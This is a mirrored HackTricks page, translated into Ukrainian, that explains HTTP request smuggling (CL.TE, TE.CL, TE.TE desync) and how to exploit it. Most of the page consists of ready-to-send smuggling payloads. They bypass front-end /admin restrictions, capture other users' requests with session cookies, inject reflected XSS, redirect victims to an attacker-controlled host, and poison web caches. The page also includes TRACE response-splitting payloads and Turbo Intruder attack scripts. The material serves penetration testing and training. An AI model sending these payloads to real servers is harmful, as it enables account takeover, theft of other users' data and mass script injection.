mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00

History

Translator b3faf0baf9 Translated ['pentesting-web/browser-extension-pentesting-methodology/REA		2024-07-19 16:25:04 +00:00
..
browser-http-request-smuggling.md	Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md	2024-07-18 19:01:49 +00:00
README.md	Translated ['pentesting-web/browser-extension-pentesting-methodology/REA	2024-07-19 16:25:04 +00:00
request-smuggling-in-http-2-downgrades.md	Translated ['generic-methodologies-and-resources/basic-forensic-methodol	2024-07-19 10:20:13 +00:00

README.md

HTTP Request Smuggling / HTTP Desync Attack

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Що таке

Ця вразливість виникає, коли десинхронізація між фронтальними проксі та бекенд сервером дозволяє зловмиснику надіслати HTTP запит, який буде інтерпретований як один запит фронтальними проксі (балансування навантаження/реверсний проксі) та як 2 запити бекенд сервером.
Це дозволяє користувачу модифікувати наступний запит, який надходить до бекенд сервера після його.

Теорія

RFC Специфікація (2161)

Якщо повідомлення отримано з обома заголовками Transfer-Encoding та Content-Length, останній ПОВИНЕН бути проігнорований.

Content-Length

Заголовок Content-Length вказує на розмір тіла сутності в байтах, надісланих отримувачу.

Transfer-Encoding: chunked

Заголовок Transfer-Encoding вказує на форму кодування, що використовується для безпечної передачі тіла навантаження користувачу.
Chunked означає, що великі дані надсилаються серією частин.

Реальність

Фронтальний (балансування навантаження / Реверсний проксі) обробляє заголовок content-length або transfer-encoding і бекенд сервер обробляє інший, викликаючи десинхронізацію між 2 системами.
Це може бути дуже критично, оскільки зловмисник зможе надіслати один запит до реверсного проксі, який буде інтерпретований бекенд сервером як 2 різні запити. Небезпека цієї техніки полягає в тому, що бекенд сервер інтерпретує 2-й запит, що вставлений, як якщо б він надійшов від наступного клієнта, а реальний запит цього клієнта буде частиною вставленого запиту.

Особливості

Пам'ятайте, що в HTTP символ нового рядка складається з 2 байтів:

Content-Length: Цей заголовок використовує десяткове число для вказівки кількості байтів тіла запиту. Тіло, як очікується, закінчується останнім символом, новий рядок не потрібен в кінці запиту.
Transfer-Encoding: Цей заголовок використовує в тілі шістнадцяткове число для вказівки кількості байтів наступного фрагмента. Фрагмент повинен закінчуватися новим рядком, але цей новий рядок не враховується індикатором довжини. Цей метод передачі повинен закінчуватися фрагментом розміром 0, за яким слідують 2 нові рядки: 0
Connection: Згідно з моїм досвідом, рекомендується використовувати Connection: keep-alive в першому запиті при використанні HTTP Request Smuggling.

Основні приклади

{% hint style="success" %} Коли ви намагаєтеся експлуатувати це за допомогою Burp Suite, вимкніть Update Content-Length та Normalize HTTP/1 line endings в повторювачі, оскільки деякі гаджети зловживають новими рядками, поверненнями каретки та неправильно сформованими content-length. {% endhint %}

Атаки HTTP request smuggling створюються шляхом надсилання неоднозначних запитів, які експлуатують розбіжності в тому, як фронтальні та бекенд сервери інтерпретують заголовки Content-Length (CL) та Transfer-Encoding (TE). Ці атаки можуть проявлятися в різних формах, головним чином як CL.TE, TE.CL та TE.TE. Кожен тип представляє унікальну комбінацію того, як фронтальні та бекенд сервери пріоритетизують ці заголовки. Вразливості виникають через те, що сервери обробляють один і той же запит по-різному, що призводить до несподіваних і потенційно шкідливих наслідків.

Основні приклади типів вразливостей

Вразливість CL.TE (Content-Length використовується фронтальним, Transfer-Encoding використовується бекендом)

Фронтальний (CL): Обробляє запит на основі заголовка Content-Length.
Бекенд (TE): Обробляє запит на основі заголовка Transfer-Encoding.
Сценарій атаки:
Зловмисник надсилає запит, де значення заголовка Content-Length не відповідає фактичній довжині вмісту.
Фронтальний сервер пересилає весь запит до бекенду на основі значення Content-Length.
Бекенд сервер обробляє запит як фрагментований через заголовок Transfer-Encoding: chunked, інтерпретуючи залишкові дані як окремий, наступний запит.
Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

Вразливість TE.CL (Transfer-Encoding використовується фронтальним, Content-Length використовується бекендом)

Фронтальний (TE): Обробляє запит на основі заголовка Transfer-Encoding.
Бекенд (CL): Обробляє запит на основі заголовка Content-Length.
Сценарій атаки:
Зловмисник надсилає фрагментований запит, де розмір фрагмента (7b) і фактична довжина вмісту (Content-Length: 4) не збігаються.
Фронтальний сервер, поважаючи Transfer-Encoding, пересилає весь запит до бекенду.
Бекенд сервер, поважаючи Content-Length, обробляє лише початкову частину запиту (7b байтів), залишаючи решту частиною ненавмисного наступного запиту.
Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

Вразливість TE.TE (Transfer-Encoding використовується обома, з обфускацією)

Сервери: Обидва підтримують Transfer-Encoding, але один може бути обманутий, щоб ігнорувати його через обфускацію.
Сценарій атаки:
Зловмисник надсилає запит з обфускованими заголовками Transfer-Encoding.
В залежності від того, який сервер (фронтальний або бекенд) не розпізнає обфускацію, може бути експлуатована вразливість CL.TE або TE.CL.
Непроцесована частина запиту, як її бачить один з серверів, стає частиною наступного запиту, що призводить до смугування.
Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Сценарій CL.CL (Content-Length використовується як фронтальним, так і бекендом):

Обидва сервери обробляють запит виключно на основі заголовка Content-Length.
Цей сценарій зазвичай не призводить до смугування, оскільки є узгодженість у тому, як обидва сервери інтерпретують довжину запиту.
Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

Сценарій CL != 0:

Відноситься до сценаріїв, де заголовок Content-Length присутній і має значення, відмінне від нуля, що вказує на те, що тіло запиту має вміст.
Це важливо для розуміння та створення атак смугування, оскільки це впливає на те, як сервери визначають кінець запиту.
Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

Ломання веб-сервера

Ця техніка також корисна в сценаріях, де можливо зламати веб-сервер під час читання початкових HTTP даних, але без закриття з'єднання. Таким чином, тіло HTTP запиту буде вважатися наступним HTTP запитом.

Наприклад, як пояснюється в цьому описі, в Werkzeug було можливо надіслати деякі Unicode символи, і це призведе до зламу сервера. Однак, якщо HTTP з'єднання було створено з заголовком Connection: keep-alive, тіло запиту не буде прочитано, і з'єднання залишиться відкритим, тому тіло запиту буде розглядатися як наступний HTTP запит.

Примус через заголовки hop-by-hop

Зловживаючи заголовками hop-by-hop, ви можете вказати проксі видалити заголовок Content-Length або Transfer-Encoding, щоб можливе зловживання HTTP request smuggling.

Connection: Content-Length

Для додаткової інформації про заголовки hop-by-hop відвідайте:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Виявлення HTTP Request Smuggling

Виявлення вразливостей HTTP request smuggling часто можна досягти за допомогою технік таймінгу, які базуються на спостереженні за тим, скільки часу потрібно серверу для відповіді на маніпульовані запити. Ці техніки особливо корисні для виявлення вразливостей CL.TE та TE.CL. Окрім цих методів, існують інші стратегії та інструменти, які можна використовувати для знаходження таких вразливостей:

Виявлення вразливостей CL.TE за допомогою технік таймінгу

Метод:
Надішліть запит, який, якщо додаток вразливий, змусить сервер на бекенді чекати на додаткові дані.
Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

Спостереження:
Сервер на фронтенді обробляє запит на основі Content-Length і передчасно обриває повідомлення.
Сервер на бекенді, очікуючи на частину повідомлення, чекає на наступну частину, яка ніколи не приходить, що викликає затримку.
Індикатори:
Тайм-аути або тривалі затримки у відповіді.
Отримання помилки 400 Bad Request від сервера на бекенді, іноді з детальною інформацією про сервер.

Виявлення вразливостей TE.CL за допомогою технік таймінгу

Метод:
Надішліть запит, який, якщо додаток вразливий, змусить сервер на бекенді чекати на додаткові дані.
Приклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

Спостереження:
Сервер на фронтенді обробляє запит на основі Transfer-Encoding і пересилає все повідомлення.
Сервер на бекенді, очікуючи на повідомлення на основі Content-Length, чекає на додаткові дані, які ніколи не приходять, що викликає затримку.

Інші методи для виявлення вразливостей

Аналіз диференційних відповідей:
Надішліть трохи змінені версії запиту та спостерігайте, чи відповіді сервера відрізняються несподіваним чином, що вказує на розбіжність у парсингу.
Використання автоматизованих інструментів:
Інструменти, такі як розширення 'HTTP Request Smuggler' Burp Suite, можуть автоматично перевіряти ці вразливості, надсилаючи різні форми неоднозначних запитів і аналізуючи відповіді.
Тести на варіацію Content-Length:
Надішліть запити з різними значеннями Content-Length, які не відповідають фактичній довжині вмісту, і спостерігайте, як сервер обробляє такі невідповідності.
Тести на варіацію Transfer-Encoding:
Надішліть запити з обфусцированими або неправильно сформованими заголовками Transfer-Encoding і спостерігайте, як по-різному реагують сервери на фронтенді та бекенді на такі маніпуляції.

Тестування вразливостей HTTP Request Smuggling

Після підтвердження ефективності технік таймінгу важливо перевірити, чи можна маніпулювати запитами клієнта. Простий метод - спробувати отруїти свої запити, наприклад, зробивши запит до /, щоб отримати відповідь 404. Приклади CL.TE та TE.CL, обговорені раніше в Основних прикладах, демонструють, як отруїти запит клієнта, щоб викликати відповідь 404, незважаючи на те, що клієнт намагається отримати доступ до іншого ресурсу.

Ключові міркування

При тестуванні на вразливості request smuggling, втручаючись в інші запити, пам'ятайте:

Відокремлені мережеві з'єднання: "Атакуючі" та "нормальні" запити повинні надсилатися через окремі мережеві з'єднання. Використання одного й того ж з'єднання для обох не підтверджує наявність вразливості.
Послідовні URL та параметри: Намагайтеся використовувати однакові URL та імена параметрів для обох запитів. Сучасні додатки часто маршрутизують запити до конкретних серверів на бекенді на основі URL та параметрів. Відповідність цим підвищує ймовірність того, що обидва запити обробляються одним і тим же сервером, що є передумовою для успішної атаки.
Таймінг та умови гонки: "Нормальний" запит, призначений для виявлення втручання з боку "атакуючого" запиту, конкурує з іншими одночасними запитами додатка. Тому надсилайте "нормальний" запит відразу після "атакуючого" запиту. Завантажені додатки можуть вимагати кількох спроб для підтвердження вразливості.
Виклики балансування навантаження: Сервери на фронтенді, які виконують функції балансування навантаження, можуть розподіляти запити між різними системами на бекенді. Якщо "атакуючі" та "нормальні" запити потрапляють на різні системи, атака не вдасться. Цей аспект балансування навантаження може вимагати кількох спроб для підтвердження вразливості.
Непередбачуваний вплив на користувачів: Якщо ваша атака ненавмисно впливає на запит іншого користувача (не "нормальний" запит, який ви надіслали для виявлення), це вказує на те, що ваша атака вплинула на іншого користувача додатка. Постійне тестування може порушити роботу інших користувачів, що вимагає обережного підходу.

Зловживання HTTP Request Smuggling

Обхід безпеки фронтенду через HTTP Request Smuggling

Іноді проксі-сервери на фронтенді впроваджують заходи безпеки, перевіряючи вхідні запити. Однак ці заходи можна обійти, експлуатуючи HTTP Request Smuggling, що дозволяє несанкціонований доступ до обмежених кінцевих точок. Наприклад, доступ до /admin може бути заборонений ззовні, а проксі на фронтенді активно блокує такі спроби. Проте цей проксі може не перевіряти вбудовані запити в межах прихованого HTTP запиту, залишаючи лазівку для обходу цих обмежень.

Розгляньте наступні приклади, які ілюструють, як HTTP Request Smuggling може бути використано для обходу контролю безпеки на фронтенді, зокрема на шляху /admin, який зазвичай охороняється проксі на фронтенді:

Приклад CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

У атаці CL.TE заголовок Content-Length використовується для початкового запиту, тоді як наступний вбудований запит використовує заголовок Transfer-Encoding: chunked. Фронтальний проксі обробляє початковий POST запит, але не перевіряє вбудований запит GET /admin, що дозволяє несанкціонований доступ до шляху /admin.

TE.CL Приклад

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Навпаки, в атаці TE.CL початковий POST запит використовує Transfer-Encoding: chunked, а наступний вбудований запит обробляється на основі заголовка Content-Length. Подібно до атаки CL.TE, фронтальний проксі ігнорує контрабандний запит GET /admin, ненавмисно надаючи доступ до обмеженого шляху /admin.

Виявлення переписування запитів фронтального сервера

Додатки часто використовують фронтальний сервер для модифікації вхідних запитів перед їх передачею на бекенд-сервер. Типова модифікація включає додавання заголовків, таких як X-Forwarded-For: <IP клієнта>, для передачі IP клієнта на бекенд. Розуміння цих модифікацій може бути вирішальним, оскільки це може виявити способи обійти захист або виявити приховану інформацію або кінцеві точки.

Щоб дослідити, як проксі змінює запит, знайдіть параметр POST, який бекенд відображає у відповіді. Потім створіть запит, використовуючи цей параметр останнім, подібно до наступного:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

У цій структурі наступні компоненти запиту додаються після search=, що є параметром, відображеним у відповіді. Це відображення виведе заголовки наступного запиту.

Важливо узгодити заголовок Content-Length вкладеного запиту з фактичною довжиною вмісту. Рекомендується починати з невеликого значення і поступово збільшувати, оскільки занадто низьке значення обрізає відображені дані, а занадто високе може призвести до помилки запиту.

Ця техніка також застосовна в контексті вразливості TE.CL, але запит повинен закінчуватися search=\r\n0. Незалежно від символів нового рядка, значення будуть додаватися до параметра пошуку.

Цей метод в основному служить для розуміння модифікацій запиту, зроблених проксі-сервером фронтенду, фактично виконуючи самостійне розслідування.

Capturing other users' requests

Цілком можливо захопити запити наступного користувача, додавши конкретний запит як значення параметра під час операції POST. Ось як це можна здійснити:

Додавши наступний запит як значення параметра, ви можете зберегти запит наступного клієнта:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

У цьому сценарії параметр коментаря призначений для зберігання вмісту в секції коментарів поста на публічно доступній сторінці. Відповідно, вміст наступного запиту з'явиться як коментар.

Однак у цієї техніки є обмеження. Як правило, вона захоплює дані лише до роздільника параметра, що використовується в контрабандному запиті. Для URL-кодованих форм, цей роздільник - символ &. Це означає, що захоплений вміст з запиту жертви зупиниться на першому &, який може бути частиною рядка запиту.

Крім того, варто зазначити, що цей підхід також є життєздатним з вразливістю TE.CL. У таких випадках запит повинен закінчуватися search=\r\n0. Незалежно від символів нового рядка, значення будуть додані до параметра пошуку.

Використання HTTP request smuggling для експлуатації відображеного XSS

HTTP Request Smuggling можна використовувати для експлуатації веб-сторінок, вразливих до Reflected XSS, що пропонує значні переваги:

Взаємодія з цільовими користувачами не потрібна.
Дозволяє експлуатувати XSS у частинах запиту, які зазвичай недоступні, таких як заголовки HTTP-запиту.

У сценаріях, коли веб-сайт вразливий до Reflected XSS через заголовок User-Agent, наступний payload демонструє, як експлуатувати цю вразливість:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Цей payload структурований для експлуатації вразливості шляхом:

Ініціювання POST запиту, що виглядає типовим, з заголовком Transfer-Encoding: chunked, щоб вказати на початок контрабанди.
Наступним є 0, що позначає кінець тіла повідомлення з частинами.
Потім вводиться контрабандний GET запит, де заголовок User-Agent інжектується зі скриптом, <script>alert(1)</script>, що викликає XSS, коли сервер обробляє цей наступний запит.

Маніпулюючи User-Agent через контрабанду, payload обходить звичайні обмеження запитів, таким чином експлуатуючи вразливість Reflected XSS нестандартним, але ефективним способом.

HTTP/0.9

{% hint style="danger" %} У разі, якщо вміст користувача відображається у відповіді з Content-type таким як text/plain, що запобігає виконанню XSS. Якщо сервер підтримує HTTP/0.9, це може дозволити обійти це! {% endhint %}

Версія HTTP/0.9 була попередньою до 1.0 і використовує лише GET дієслова та не відповідає з заголовками, лише тілом.

У цьому описі це було зловжито з контрабандою запиту та вразливим кінцевим пунктом, який відповість з вхідними даними користувача для контрабанди запиту з HTTP/0.9. Параметр, який буде відображено у відповіді, містив фальшиву HTTP/1.1 відповідь (з заголовками та тілом), тому відповідь міститиме дійсний виконуваний JS код з Content-Type text/html.

Експлуатація перенаправлень на сайті з допомогою HTTP Request Smuggling

Застосунки часто перенаправляють з одного URL на інший, використовуючи ім'я хоста з заголовка Host у URL перенаправлення. Це поширено на веб-серверах, таких як Apache та IIS. Наприклад, запит на папку без слешу в кінці призводить до перенаправлення, щоб включити слеш:

GET /home HTTP/1.1
Host: normal-website.com

Результати в:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Хоча це виглядає безпечним, цю поведінку можна маніпулювати за допомогою HTTP request smuggling, щоб перенаправити користувачів на зовнішній сайт. Наприклад:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Цей підроблений запит може призвести до того, що наступний оброблений запит користувача буде перенаправлено на веб-сайт, контрольований зловмисником:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Результати в:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

У цьому сценарії запит користувача на файл JavaScript перехоплюється. Зловмисник може потенційно скомпрометувати користувача, надаючи шкідливий JavaScript у відповідь.

Використання отруєння веб-кешу через HTTP Request Smuggling

Отруєння веб-кешу може бути виконано, якщо будь-який компонент інфраструктури фронтенду кешує контент, зазвичай для покращення продуктивності. Маніпулюючи відповіддю сервера, можна отруїти кеш.

Раніше ми спостерігали, як відповіді сервера можуть бути змінені, щоб повернути помилку 404 (див. Основні приклади). Аналогічно, можливо обманути сервер, щоб він надав контент /index.html у відповідь на запит /static/include.js. В результаті контент /static/include.js замінюється в кеші на контент /index.html, що робить /static/include.js недоступним для користувачів, потенційно призводячи до відмови в обслуговуванні (DoS).

Ця техніка стає особливо потужною, якщо виявлено вразливість Open Redirect або якщо є перенаправлення на сайті до відкритого перенаправлення. Такі вразливості можуть бути використані для заміни кешованого контенту /static/include.js на скрипт під контролем зловмисника, що фактично дозволяє здійснити широкомасштабну атаку Cross-Site Scripting (XSS) проти всіх клієнтів, які запитують оновлений /static/include.js.

Нижче наведено ілюстрацію використання отруєння кешу в поєднанні з перенаправленням на сайті до відкритого перенаправлення. Мета полягає в тому, щоб змінити кешований контент /static/include.js, щоб надати JavaScript-код, контрольований зловмисником:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Зверніть увагу на вбудований запит, що націлений на /post/next?postId=3. Цей запит буде перенаправлений на /post?postId=4, використовуючи значення заголовка Host для визначення домену. Змінюючи заголовок Host, зловмисник може перенаправити запит на свій домен (внутрішнє перенаправлення на відкритий редирект).

Після успішного отруєння сокетів слід ініціювати GET запит на /static/include.js. Цей запит буде забруднений попереднім запитом внутрішнього перенаправлення на відкритий редирект і отримає вміст скрипта, контрольованого зловмисником.

В подальшому будь-який запит на /static/include.js буде обслуговувати кешований вміст скрипта зловмисника, ефективно запускаючи широкий XSS-атаку.

Використання HTTP request smuggling для виконання обману веб-кешу

У чому різниця між отруєнням веб-кешу та обманом веб-кешу?

У отруєнні веб-кешу зловмисник змушує додаток зберігати деякий шкідливий вміст у кеші, і цей вміст обслуговується з кешу іншим користувачам додатка.

У обмані веб-кешу зловмисник змушує додаток зберігати деякий чутливий вміст, що належить іншому користувачу, у кеші, а потім зловмисник отримує цей вміст з кешу.

Зловмисник створює контрабандний запит, який отримує чутливий вміст, специфічний для користувача. Розгляньте наступний приклад:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Якщо цей підроблений запит отруює кеш-енцію, призначену для статичного контенту (наприклад, /someimage.png), чутливі дані жертви з /private/messages можуть бути кешовані під кеш-енцією статичного контенту. Внаслідок цього, зловмисник потенційно міг би отримати ці кешовані чутливі дані.

Зловживання TRACE через HTTP Request Smuggling

У цьому пості пропонується, що якщо сервер має метод TRACE увімкненим, це може бути можливим зловживання з HTTP Request Smuggling. Це пов'язано з тим, що цей метод відображатиме будь-який заголовок, надісланий на сервер, як частину тіла відповіді. Наприклад:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Відправить відповідь, таку як:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Прикладом зловживання цією поведінкою буде переправка спочатку запиту HEAD. На цей запит буде відповідано лише заголовками запиту GET (Content-Type серед них). І переправити одразу після HEAD запит TRACE, який буде відображати надіслані дані.
Оскільки відповідь на HEAD міститиме заголовок Content-Length, відповідь на запит TRACE буде розглядатися як тіло відповіді HEAD, отже, відображаючи довільні дані у відповіді.
Ця відповідь буде надіслана до наступного запиту через з'єднання, тому це може бути використано, наприклад, у кешованому JS файлі для впровадження довільного JS коду.

Зловживання TRACE через розділення HTTP-відповідей

Продовжуючи слідувати цьому посту, пропонується інший спосіб зловживання методом TRACE. Як зазначено, переправка запиту HEAD і запиту TRACE дозволяє контролювати деякі відображені дані у відповіді на запит HEAD. Довжина тіла запиту HEAD в основному вказується в заголовку Content-Length і формується відповіддю на запит TRACE.

Отже, нова ідея полягає в тому, що, знаючи цей Content-Length і дані, надані у відповіді TRACE, можна зробити так, щоб відповідь TRACE містила дійсну HTTP-відповідь після останнього байта Content-Length, що дозволяє зловмиснику повністю контролювати запит до наступної відповіді (яка може бути використана для виконання отруєння кешу).

Приклад:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Згенерує ці ці responses (зверніть увагу, що відповідь HEAD має Content-Length, що робить відповідь TRACE частиною тіла HEAD, і як тільки закінчується Content-Length HEAD, дійсна HTTP відповідь прихована):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Озброєння HTTP Request Smuggling за допомогою HTTP Response Desynchronisation

Ви знайшли вразливість HTTP Request Smuggling і не знаєте, як її експлуатувати. Спробуйте ці інші методи експлуатації:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Інші техніки HTTP Request Smuggling

HTTP Request Smuggling у браузері (Клієнтська сторона)

{% content-ref url="browser-http-request-smuggling.md" %} browser-http-request-smuggling.md {% endcontent-ref %}

Request Smuggling у зниженні версії HTTP/2

{% content-ref url="request-smuggling-in-http-2-downgrades.md" %} request-smuggling-in-http-2-downgrades.md {% endcontent-ref %}

Скрипти Turbo intruder

CL.TE

З https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Від: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Інструменти

https://github.com/anshumanpattnaik/http-request-smuggling
https://github.com/PortSwigger/http-request-smuggler
https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
https://github.com/defparam/smuggler
https://github.com/Moopinger/smugglefuzz
https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Цей інструмент є граматично-орієнтованим HTTP Fuzzer, корисним для виявлення дивних розбіжностей у запитах на контрабанду.

Посилання